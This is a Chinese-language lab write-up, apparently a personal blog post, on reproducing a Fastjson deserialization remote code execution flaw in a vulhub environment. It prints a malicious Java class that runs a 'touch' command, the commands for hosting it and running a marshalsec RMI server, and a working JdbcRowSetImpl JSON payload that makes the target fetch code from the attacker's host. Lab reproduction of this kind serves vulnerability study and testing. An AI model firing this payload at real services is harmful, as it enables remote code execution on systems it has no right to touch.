一头雾水地复现了这个漏洞。。。。。
1.环境搭建
用的是vulhub的环境,里面有各种各样的漏洞环境,简单看看说明就知道怎么操作了。
vulhub下载地址:https://github.com/vulhub/vulhub
在虚拟机上搭建好后看具体的说明文件,是访问8090端口:
ok确认环境已搭建完毕!
2.编译恶意文件
vulhub里面的说明文件就给出了恶意文件的内容:
将这段代码复制出来到文本文件中,设置文件名为TouchFile.java,放在物理机中。
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
然后在TouchFile.java文件目录下执行命令,编译此文件
javac TouchFile.java
编译完成后会生成一个后缀为class的文件,把class文件放在公网vps的根目录下
3.搭建简易的http服务
接下来用python来搭建一个http服务
- 如果你是python2,使用命令
python -m SimpleHTTPServer 8888
- 如果是python3,使用命令
python -m http.server 8888
4.用marshalsec开启RMI服务
RMI服务是啥?
远程方法调用(RMI)是一台机器上的程序调用另一台机器上的方法。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.64.1:8888/#TouchFile 9999
接下来就在请求包中添加payload,发送。
完成。。。。这里我没图。。。。
实际检测方法
payload里的关键流程是:
1、目标访问你payload里面写的rmi://域名:9999/TouchFile
2、然后目标根据你开的RMI服务找到对应的web目录
3、访问Web目录,执行命令
如果我们只是要验证是否存在漏洞,只需要看到目标成功访问我们的域名就能证明有漏洞了,所以并不需要开RMI服务。
直接在payload里填上自己的域名,不需加端口,当然随便写一个也行,然后后面一定要随便写个文件名。
请求头添加
Content-Type: application/json;charset=utf-8
paylod
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://自己的域名/TouchFile",
"autoCommit":true
}
}
执行后查看dns记录,有了!即可证明漏洞存在。